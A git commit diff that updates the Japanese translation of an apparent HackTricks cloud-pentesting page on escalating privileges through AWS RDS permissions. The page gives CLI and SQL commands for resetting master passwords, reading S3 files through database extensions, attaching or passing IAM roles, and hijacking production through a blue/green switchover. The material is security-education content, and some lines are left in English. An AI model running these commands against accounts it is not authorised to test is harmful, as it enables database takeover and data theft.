Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-13 13:31:36 +00:00
parent 5f8464cd0b
commit dd830b41ce

View File

@@ -12,7 +12,7 @@ For more information about RDS check:
### `rds:ModifyDBInstance`
その権限があれば攻撃者は**マスターユーザーのパスワードを変更**でき、データベースのログインを行うことができます:
その権限があれば攻撃者は**マスターユーザーのパスワードを変更**、データベースのログインを変更できます:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> データベースに**接続できる必要があります**(通常はネットワーク内部からのみアクセス可能です)。
> **データベースに接続できる必要があります**(通常はネットワーク内部からのみアクセス可能です)。
**潜在的な影響:** データベース内の機密情報を発見する可能性があります
**Potential Impact:** データベース内の機密情報を見つけることができる
### rds-db:connect
この[**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)によると、この権限を持つユーザーはDBインスタンスに接続できます。
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
### Abuse RDS Role IAM permissions
### RDS Role IAM 権限を悪用する
#### Postgresql (Aurora)
> [!TIP]
> **`SELECT datname FROM pg_database;`** を実行して **`rdsadmin`** というデータベースが見つかれば、**AWS postgresql database** の内部にいることがわかります。
> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
まず、このデータベースが他のAWSサービスアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を確認してみてください:
まず、このデータベースが他のAWSサービスアクセスするために使われたかどうかを確認できます。インストールされている拡張機能を確認して調べられます:
```sql
SELECT * FROM pg_extension;
```
もし **`aws_s3`** のようなものを見つけたら、このデータベースは S3 に対する何らかのアクセス権を持っていると定できます(他にも **`aws_ml`** や **`aws_lambda`** といった拡張があります)。
もし **`aws_s3`** のようなものを見つけたら、このデータベースは **S3 に対する何らかのアクセス権** を持っていると定できます(他にも **`aws_ml`** や **`aws_lambda`** のような拡張があります)。
また、**`aws rds describe-db-clusters`** を実行する権限があれば、出力の **`AssociatedRoles`** フィールドで **cluster に何かしらの IAM Role が紐付けられているか** を確認できます。もし紐付いていれば、そのデータベースは他の AWS サービスにアクセスするよう準備されていると考えられます。ロールの **name**(あるいはロールの **permissions** を取得できれば)から、データベースがどのような追加アクセスを持っているか**推測** できます。
また、**`aws rds describe-db-clusters`** を実行する権限があれば、フィールド **`AssociatedRoles`** **クラスターに IAM ロールがアタッチされているかどうか** を確認できます。もしれば、そのデータベースは **他の AWS サービスにアクセスするよう準備されている** と考えられます。ロールの**名前**に基づいて(あるいはロールの**権限**を取得できれば)、データベースがどのような追加アクセスを持っているか**推測**できます。
さて、バケット内のファイルを **読み取る** にはフルパスを知る必要があります。以下のように読み取れます:
今、**bucket 内のファイルを読む**にはフルパスを知っている必要があります。次のコマンドで読み取れます:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
もし**生のAWS認証情報**があれば、S3データにアクセスするためにそれらを使うこともできます:
もし**raw AWS credentials**を持っていれば、それらを使ってS3データに次のようにアクセスすることもできます:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql S3 にアクセスするために **パラメータグループ変数を変更する必要はありません**。
> Postgresql **S3にアクセスするためにパラメータグループ変数を変更する必要はありません**。
#### Mysql (Aurora)
> [!TIP]
> mysql 内で、クエリ **`SELECT User, Host FROM mysql.user;`** を実行して **`rdsadmin`** というユーザーが存在する場合、**AWS RDS mysql db** 内にいると見なせます。
> mysql の中でクエリ **`SELECT User, Host FROM mysql.user;`** を実行して **`rdsadmin`** というユーザーが存在する場合、**AWS RDS mysql db** 内にいると推定できます。
mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** のような変数に値がある場合、そのデータベース S3 データにアクセスする準備ができていると見なせます。
mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** のような変数に値が設定されていれば、データベース S3 データにアクセスする準備ができていると判断できます。
また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスタに **associated role** があるか確認できます(通常は AWS サービスへのアクセスを意味します)。
また、**`aws rds describe-db-clusters`** を実行する権限があれば、クラスタ**関連付けられたロール** があるか確認できます(通常は AWS サービスへのアクセスを意味します)。
Now, to **read a file inside a bucket** you need to know the full path. You can read it with:
では、**バケット内のファイルを読み取る**にはフルパスを知っている必要があります。以下のように読み取れます:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
権限 `rds:AddRoleToDBCluster``iam:PassRole` を持つ攻撃者は、既存の RDS インスタンスに **指定したロールを追加する** ことができます。これにより攻撃者は **機密データにアクセスする** またはインスタンス内のデータを変更る可能性があります。
これらの権限 (`rds:AddRoleToDBCluster``iam:PassRole`) を持つ攻撃者は、既存の RDS インスタンスに指定したロールを**追加することができます**。これにより攻撃者は**機密データにアクセスしたり**、インスタンス内のデータを変更したりできる可能性があります。
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Potential Impact**: RDS インスタンス内の機密データへのアクセス、またはデータの不正な変更。\
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
**潜在的な影響**: RDS インスタンス内の機密データへのアクセスデータの不正な変更が発生する可能性があります。\
一部の DB例えば Mysqlは追加の設定が必要で、role ARN aprameter groups に指定する必要がある点に注意してください。
### `rds:CreateDBInstance`
この権限だけで攻撃者は既に存在し **IAM role** がアタッチされたクラスタ内に **新しいインスタンス** を作成できる可能性があります。マスターユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまうかもしれません:
この権限のみで、攻撃者は**new instance inside a cluster**を作成できます。対象のクラスタは既に存在し**IAM role** がアタッチされている必要があります。マスター ユーザーのパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開してしまう可能性があります:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,14 +124,14 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO: テスト
`rds:CreateDBInstance``iam:PassRole` の権限を持つ攻撃者は、指定したロールをアタッチした新しい RDS インスタンスを **作成することができます**。攻撃者はその後、インスタンス内の **機密データにアクセスする**、データを改する可能性があります。
権限 `rds:CreateDBInstance``iam:PassRole` を持つ攻撃者は、**指定したロールをアタッチした新しい RDS インスタンスを作成することができます**。攻撃者はその後、インスタンス内の**機密データにアクセス**したり、データを改ざんしたりする可能性があります。
> [!WARNING]
> アタッチする role/instance-profile のいくつかの要件([**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) より:
> アタッチする role/instance-profile のいくつかの要件(詳細は[**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html):
> - プロファイルはあなたのアカウントに存在している必要があります。
> - プロファイルは、Amazon EC2 が assume(引き受ける)権限を持つ IAM ロールが設定されている必要があります。
> - インスタンスプロファイル名とそれに関連する IAM ロール名はプレフィックス `AWSRDSCustom` で始まる必要があります。
> - プロファイルは、Amazon EC2 が assume する権限を持つ IAM ロールを含んでいる必要があります。
> - instance profile 名と関連する IAM ロール名はプレフィックス `AWSRDSCustom` で始まる必要があります。
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
@@ -139,13 +139,33 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
### `rds:AddRoleToDBInstance`, `iam:PassRole`
権限 `rds:AddRoleToDBInstance``iam:PassRole` を持つ攻撃者は、**既存の RDS インスタンスに指定したロールを追加することができます**。これにより攻撃者**機密データアクセス**したり、インスタンス内のデータを変更したりる可能性があります。
これらの権限`rds:AddRoleToDBInstance``iam:PassRole`を持つ攻撃者は、既存の RDS インスタンスに**指定したロールを追加する**ことができます。これにより攻撃者はインスタンス内の**機密データアクセス**したり、データを変更したりできる可能性があります。
> [!WARNING]
> この操作では DB インスタンスがクラスタの外にある必要があります。
> この操作は、DB インスタンスがクラスタの外にある必要があります。
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**潜在的な影響**: RDS インスタンス内の機密データへのアクセス、またはデータの無断変更
**潜在的な影響**: RDS インスタンス内の機密データへのアクセスや、データの不正な改変が行われる可能性があります
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
これらの権限を持つ攻撃者は、本番データベースをクローンBlueし、クローンGreenに高権限の IAM ロールを付与して、switchover を使って本番環境と置き換えることができます。これにより、攻撃者はデータベースの権限を昇格させ、他の AWS リソースへ不正にアクセスできるようになります。
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**潜在的影響**: 本番データベース環境の完全な乗っ取り。スイッチオーバー後、データベースは昇格した権限で動作し、データベース内部から他の AWS サービスS3、Lambda、Secrets Managerへの不正なアクセスを可能にします。
{{#include ../../../../banners/hacktricks-training.md}}